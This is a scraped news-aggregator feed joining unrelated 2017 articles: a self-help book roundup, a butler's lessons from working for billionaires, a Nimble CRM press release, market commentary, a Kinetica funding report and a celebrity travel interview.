Michael Park is the CEO and founder of PostAR, a platform that lets you build, explore, and share augmented realities. This article was created in collaboration with UX Designers Kellie Liang and Katerina Klein.

]]> https://briefnews.eu/adobe-designers-offer-4-insights-into-vrs-future/feed/ 0 I spent this year reading about relationships, productivity, and success — and 15 insights stuck with me more than any others https://briefnews.eu/i-spent-this-year-reading-about-relationships-productivity-and-success-and-15-insights-stuck-with-me-more-than-any-others/ https://briefnews.eu/i-spent-this-year-reading-about-relationships-productivity-and-success-and-15-insights-stuck-with-me-more-than-any-others/#respond Mon, 01 Jan 2018 15:12:15 +0000 http://briefnews.eu/i-spent-this-year-reading-about-relationships-productivity-and-success-and-15-insights-stuck-with-me-more-than-any-others/ woman reading outsideShutterstock

As 2016 drew to a close, I published a list of nonfiction books I’d read that year. At that point, I thought I knew everything about how to be happier, how to achieve my goals, and how to become an expert at anything.

In 2017, I learned — surprise! — I was wrong. This past year, I read another boatload of books on human behavior (you can consider many of them self help books) and gained brand-new insights into the worlds of relationships, emotions, and money management.

Below, I’ve highlighted the best of those insights and the terrific books they came from.

Even the smartest people can fall into common mental traps when it comes to saving money

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Behavioral economist Dan Ariely is by now well-known for introducing readers to all the ways in which they can, unwittingly, sabotage their own success.

In his latest book, “Dollars and Sense,” Ariely teams up with lawyer-turned-comedian Jeff Kreisler to explore all the traps we fall into when it comes to spending and saving — and how to outsmart them.

For example, we think of money as relative, not absolute. If you’ve just bought a $ 100 shirt, you might easily throw in a $ 10 pair of socks; but if you’ve just bought a $ 5 shirt, you’d be hard pressed to tack on an additional $ 10 purchase.

If you’re aware of this tendency, and if you can stop to think about the fact that it’s the same $ 10 in both scenarios, you’ll be able to make wiser financial decisions.

Cheating doesn’t have to destroy a relationship

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If you ask Esther Perel whether she’s “for” or “against” cheating, she’ll simply answer, “Yes.”

That’s because Perel — a renowned couples therapist and bestselling author — has seen firsthand how infidelity can damage trust in a relationship, sometimes irreparably. But in her new book, “The State of Affairs,” Perel argues that she’s also seen a couple rediscover honesty, intimacy, and even passion in the wake of an affair.

While Perel would never recommend that someone deliberately cheat on their partner, she explains that on some level, infidelity can revitalize an otherwise deadened relationship, bringing both partners back to reality — and to each other.

You’re more likely to thrive in a work environment that suits your personality

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Everyone loves a good personality test — and Gretchen Rubin’s “four tendencies” quiz is one of the most revelatory.

Rubin, a bestselling author and one of the biggest names in the self-improvement space, says everyone forms habits and approaches expectations differently: Either you’re an Upholder, a Questioner, an Obliger, or a Rebel.

In her latest book, “The Four Tendencies,” Rubin says that knowing your tendency can help you figure out what kind of workplace you’d thrive in. For example, maybe you need a boss who checks in all the time, or maybe you’d be a rockstar entrepreneur. Keep this in mind when you’re job-searching.


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]]> https://briefnews.eu/i-spent-this-year-reading-about-relationships-productivity-and-success-and-15-insights-stuck-with-me-more-than-any-others/feed/ 0 I was a butler and estate manager for billionaires — here are 7 surprising insights I learned from the inside https://briefnews.eu/i-was-a-butler-and-estate-manager-for-billionaires-here-are-7-surprising-insights-i-learned-from-the-inside/ https://briefnews.eu/i-was-a-butler-and-estate-manager-for-billionaires-here-are-7-surprising-insights-i-learned-from-the-inside/#respond Sun, 17 Dec 2017 17:05:40 +0000 http://briefnews.eu/i-was-a-butler-and-estate-manager-for-billionaires-here-are-7-surprising-insights-i-learned-from-the-inside/ suit tying shoesShutterstock

  • David Youdovin is the founder and CEO of Hire Society, a staffing agency that helps wealthy families find and hire private household help.
  • Prior to starting his own company, Youdovin worked as a butler and estate manager for one of the world’s richest billionaire families.
  • The experience taught him that wealthy individuals value their families above all else, and that private service isn’t a lowly job.

 

More often than not when conjuring an image of a butler, people think of Alfred from Batman, or Carson from Downton Abbey — grey-haired, British, and well-mannered. That’s not really the case. 

In the summer of 2005, I was in my early 20s working my way up the Wall Street corporate ladder, having left a fulfilling but non-lucrative career in hospitality.

I made the shift to finance thinking that although I loved hospitality, I wasn’t going to break six-figures if I stayed in the industry. Thankfully, I was proven wrong when a friend reached out to ask for help producing an event for an ultra-high-net-worth private family in the Hamptons.

I accepted what I thought would be a nice weekend break from summer in the city, and soon found myself on a new career path in private service.

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As the weekend drew to a close, I knew I would be leaving my job in finance to begin working for one of the world’s wealthiest private families as a butler and estate manager. I stayed in that position for a year and a half before leaving to found my own recruiting and staffing company.

Here are seven surprising things I learned while working for a billionaire family:

1. Family is everything

There is no point amassing a huge fortune if you don’t have people close to you to share it with. Family always came first to my employer.

2. You are nothing without your health

My principal was very concerned about his health and wellness, as well as the health and wellness of his family and friends, and had a full-time medical staff, including doctors and nurses, available to him and his family at all times. This was in addition to the many medical facilities which bare his name.

He also taught me that in addition to base salaries, providing full benefits packages to employees created a culture of health and loyalty.

3. People are just people, regardless of their net worth

I had the privilege of meeting a wide cross-section of society as a result of my position. I found that regardless of net worth, if you treat people with respect, they will do the same in return regardless of their position, title, or size of their bank account.

4. A penny saved is a penny earned

Despite a ten-figure net worth, my employer was a stickler for saving, and was keen to negotiate. Once while reading the Sunday Times, he pulled a coupon and left it for the housekeepers to use while shopping. When a billionaire takes time to save fifty cents on laundry detergent, that tells you something.

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5. Live to give

Despite being mindful of savings wherever and whenever possible, my employer was by far the most generous person I’ve ever known. Most people think private service professionals work as servants for low wages and no quality of life, living in a basement closet, on call 24/7. In actuality, these positions can be pretty glamorous, paying high salaries, offering full non-contributory medical, dental, and vision plans, 401(k)s, paid time-off, generous bonus structures, expense accounts, luxurious accommodations, and room for growth, among other perks.

And when it came to philanthropy, I watched as my employer gave tens of millions annually to hospitals, environmental causes, human rights organizations, and cultural institutions to advance the arts.

6. Life is beautiful, and so is art

What little I knew about art prior to working in private service was quickly replaced with a true appreciation as I worked with private curators, insurers, lighters, and hangers to assist in caring for the family’s incredible collection of contemporary art.

7. Private service is not a lowly job

The private service industry has evolved and often pulls the best workers from hotels, restaurants, and luxury services for a dynamic mix of people who are energetic and able to wear multiple hats. Their enthusiasm for the craft is palpable. If they lack in expertise, employers often pay to further their educations with culinary classes, hospitality courses, and seminars.

Many people believe housekeeping and grounds-keeping are basic skills anyone who maintains their own home possesses. The skills required in these areas far exceed any expectations I could have imagined and parallel the standards of running a 5-star resort.

NOW WATCH: Spending habits of self-made millionaires from a guy who studied rich people for 5 years

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]]> https://briefnews.eu/i-was-a-butler-and-estate-manager-for-billionaires-here-are-7-surprising-insights-i-learned-from-the-inside/feed/ 0 Nimble Launches New Add-In for Microsoft Outlook on Android Delivering Social Relationship Business Insights https://briefnews.eu/nimble-launches-new-add-in-for-microsoft-outlook-on-android-delivering-social-relationship-business-insights/ https://briefnews.eu/nimble-launches-new-add-in-for-microsoft-outlook-on-android-delivering-social-relationship-business-insights/#respond Fri, 08 Sep 2017 17:51:26 +0000 http://briefnews.eu/nimble-launches-new-add-in-for-microsoft-outlook-on-android-delivering-social-relationship-business-insights/

PRESS RELEASE:

Popular social relationship manager delivers people and company details enabling Android users to cultivate relationships in authentic ways at scale

SANTA MONICA, Calif.–(BUSINESS WIRE)–September 8, 2017–

Nimble, the award-winning pioneer of Social Sales and Marketing CRM, today launched a freemium add-in for Microsoft Outlook on Android. The Nimble Contacts add-in delivers people and company business insights on any contact in Outlook, including broad social profiles, shared relationships with new contacts, contact history, mutual interests, company profiles, revenue and more, thereby enabling people to cultivate relationships while mobile.

Nimble’s support for Outlook on Android is the latest in a series of integrations with the Microsoft tech stack that delivers people and company insights seamlessly across the Web (via Microsoft Edge, Chrome, Safari and Firefox extensions); in Web applications such as Microsoft Dynamics, Skype and Microsoft Teams; and in email, calendar and contacts, in the cloud with Microsoft Office 365, on the desktop (Windows and Mac) and on mobile devices (iOS and Android).

Nimble’s add-in for Outlook Delivers Instant Business Insights Alongside Mobile Email

  • Nimble delivers Live Profiles directly within Outlook email messages on Android.
  • Social Contact Profile Matching introduces rich contact and company insights.
  • Contact Insights include the Person’s Name, Company Name, Title, Biography, Location, Keywords, Work Experience, Education, and Social Identities.
  • Company Insights include Biography, Industry, Number of Employees, Year Founded, Keywords, Company Type, Revenue, Ticker, CEO Name, Address and Phone.

“The most common mistake people make when attempting to build relationships online and at scale is barreling ahead with their agenda without first establishing a common ground,” says Jon Ferrara, social business expert and CEO of Nimble. “We created Nimble to make it easier for customer-facing employees to work faster and more effectively at scale by auto-generating contextual profiles about people and businesses everywhere they work, without requiring people to waste hours of their time on research or data entry.”

“Customers have told us that easy access to contextual information about email contacts helps businesses and relationships flourish,” said Rob Howard, Director, Microsoft Office Ecosystem at Microsoft Corp. “Extending Nimble’s simple social relationship manager to Outlook on Android is a logical step.”

Pricing and Availability

The Nimble add-in for Outlook on the desktop and mobile is free to install to connect to an existing Nimble account or may be used for 10 free lookups per day. The Nimble Contacts Add-in is available to Outlook 2016, Outlook 2013 for Windows, Outlook 2016 for Mac, Outlook on the Web, Outlook on iOS and Android customers with Office 365 or Outlook.com email accounts. Existing Outlook users can use Nimble to get insights on contacts and companies and upgrade to Nimble Business to access team social sales and marketing functionalities. The Nimble Business plan is available for $ 25 per user per month. Nimble delivers relationship insights everywhere you work including G Suite, Outlook, Chrome, Safari, Firefox, Hootsuite, iOS and Android.

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Microsoft Blog Post, Nimble Blog Post and Screenshots

Nimble Named Market Leader, #1 in Satisfaction for CRM/Sales Intelligence

Nimble has been named best CRM in Market Leadership, Ease of Use and Satisfaction by many experts including: Nimble Named #1 in Sales Intelligence Customer Satisfaction and High Performer by G2 Crowd, Nimble Named a Winner in 2017 CRM Watchlist for a Third Year, Joining Salesforce and Microsoft, Nimble Named #1 CRM by G2 Crowd for Customer Satisfaction in Latest 2017 CRM Rankings for the Fourth Year in a Row, Nimble Tops Satisfaction Ratings in G2Crowd’s Spring 2017 Small-Business CRM Software Grid Report.

ABOUT NIMBLE – Nimble is the pioneer of social sales and marketing CRM for individuals and teams. It allows people to intelligently nurture relationships across email and social networks such as Twitter, Facebook and LinkedIn. Nimble combines the strengths of traditional CRM, classic contact management, social media, sales intelligence and marketing automation into a powerful social selling solution. Nimble was founded by Jon Ferrara, the co-founder of GoldMine, a pioneer of SFA, CRM, Relationship Management and Marketing Automation. For more information, visit www.nimble.com. Nimble can be found on Facebook, Twitter, YouTube and Instagram.

Located in Santa Monica, CA, Nimble is in the heart of the Southern California Silicon Beach tech community. Nimble Voted Most Loved Santa Monica Tech Startup of 2017.

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]]> https://briefnews.eu/nimble-launches-new-add-in-for-microsoft-outlook-on-android-delivering-social-relationship-business-insights/feed/ 0 THE BOTTOM LINE: Market insights from 2 strategists with very different year-end predictions https://briefnews.eu/the-bottom-line-market-insights-from-2-strategists-with-very-different-year-end-predictions/ https://briefnews.eu/the-bottom-line-market-insights-from-2-strategists-with-very-different-year-end-predictions/#respond Thu, 29 Jun 2017 19:52:37 +0000 http://briefnews.eu/the-bottom-line-market-insights-from-2-strategists-with-very-different-year-end-predictions/ The Bottom Line banner_video_02Business Insider

This week:

  • Warren Buffett invested $ 377 million in REIT Store Capital which caused the stock to rise 11% on the news. This REIT has a portfolio of leases that are primarily held by services companies that require human interaction. These types of businesses are generally pretty Amazon-proof which makes it an interesting play. 
  • Business Insider global editor-in-chief Henry Blodget questions why health insurance in America is tied to employment. Blodget goes through the interesting history of how these two got tied together.
  • UBS strategist Julian Emanuel called this tech correction before it even started. Emanuel says there there is still room for tech to fall more pointing out that tech volatility is currently way too low. He expects tech stocks and the broader market to end the year higher and says this is a dip you should buy into. 
  • Fundstrat co-founder Thomas Lee expects the market to end the year lower. Though he thinks this drawdown is part of a larger bull market that won’t end for a few more years. Lee’s short-term concerns for the market revolve around nominal GDP, which he expects to be at about 3% next year. Lee recently cut his earnings estimate for the S&P for this year.

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Kinetica, which provides businesses and organizations with real-time data analytics, today announced funding of $ 50 million in a series A round, co-led by Canvas Ventures and Meritech Capital Partners. Existing investor GreatPoint Ventures also participated.

The software, which is powered by a graphics processing unit, allows businesses to analyze large feeds of data faster, using machine learning, BI analytics, and visualization. It can be installed on premises or run in the cloud with Google Cloud, Amazon Web Services, and Microsoft Azure.

Kinetica charges a yearly subscription based on usage. The San Francisco, California-based startup claims to have several licensed customers in production, including the U.S. Army, the National Security Agency (NSA), PG&E, GlaxoSmithKline, and IronNet Cybersecurity. Use cases range from genomics research to real-time drilling analytics and counterterrorism.

The startup initially developed the product for governmental organizations. In 2009, cofounders Amit Vij and Nima Negahban were hired by the United States Army Intelligence and Security Command and the NSA to create a system to track and capture terrorists in real time.

Other players in the GPU database sphere include SQream, BlazingDB, and MapD Technologies, the last of which recently closed a funding round.

Kinetica will use the fresh capital to hire more people and open new offices — the startup told VentureBeat that it has just opened a new office in Singapore. Founded in 2009, Kinetica has raised a total of $ 63 million and currently has 75 employees.

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Mariella, 54, lives in Somerset with her husband, human rights lawyer Jason McCue, and children, Molly, 12 and Dan, 11.

WHAT’S YOUR MOST MEMORABLE HOLIDAY?

I spent New Year’s Eve of the Millennium on an incredibly old boat in Mustique with some friends. It was moored alongside Roman Abramovich’s yacht and others with things like helicopter landing pads but ours had a broken loo and bunks that fell off the walls. We had a ball. We gatecrashed parties and spent a lot of time drinking rum and laughing.

AND THE WORST?

Many years ago I was visiting a friend in Switzerland when I received a call from a man I had a huge crush on inviting me to join him on Paxos. I organised a flight via Corfu and then a boat to the island.

The trip took hours but as soon as I arrived we had a huge row. Then another. We soon decided we should both head home but there were no flights for four days so we ended up in a cabin for 48 hours, not speaking and me sobbing about how foolish I’d been.

FAVOURITE SOUVENIR?

Mainly art. I have a fantastic African stone Shona sculpture of a nude woman kneeling. I bought that in the botanical gardens in Cape Town. And paintings from Vietnam and Cuba are hung around our house. We have a great picture of a chicken we bought back from a market in Havana. It brings back memories of the colour and music we found there.

BEST HOLIDAY READ?

I love reading books that complement the country I’m visiting. I tried reading Miss Smilla’s Feeling For Snow, a Danish thriller, by Peter Høeg, when I was in the Caribbean and it didn’t work.

But while in Patagonia I read Bruce Chatwin’s In Patagonia and in Chile the works of native author Isabel Allende and it was a delight.

HOW DO YOU SPEND YOUR TIME ON HOLIDAY?

It depends upon where I am. I like scuba diving and have done that in the Maldives. We ski in Hemsedal, Norway. The family go downhill but I like cross country. I also enjoy walking and have hiked in Nepal and the Inca Trail in Peru.

Alternatively I really like simply lying under a palm tree in a bikini reading a book. I find that it’s always great to be somewhere you don’t have to wrap up.

WHERE WOULD YOU REVISIT?

The Cocos Island off the coast of Costa Rica. It’s the best – and scariest – environment for diving. It’s in the Pacific so there’s a lot to see but you’re also surrounded by hammerhead sharks and the undercurrent can sweep you away from the boat very quickly.

I’d also like to hike the Inca Trail with the children. When you walk through the Sun Gate into Machu Picchu as the sun’s rising it is really incredible.

WHERE NEXT?

We’re going to Marrakech, staying in a friend’s house. I love North Africa. The food is delicious, I love a vegetable tagine and all the dips. The souks are favourites with the children – especially the camels. I bought some fantastic rugs when we visited last time so I’ll find that carpet man again. We’ll also head down the coast to try surfing.

• Mariella is presenting The Big Painting Challenge alongside Reverend Richard Coles, BBC1, Sundays, 6pm

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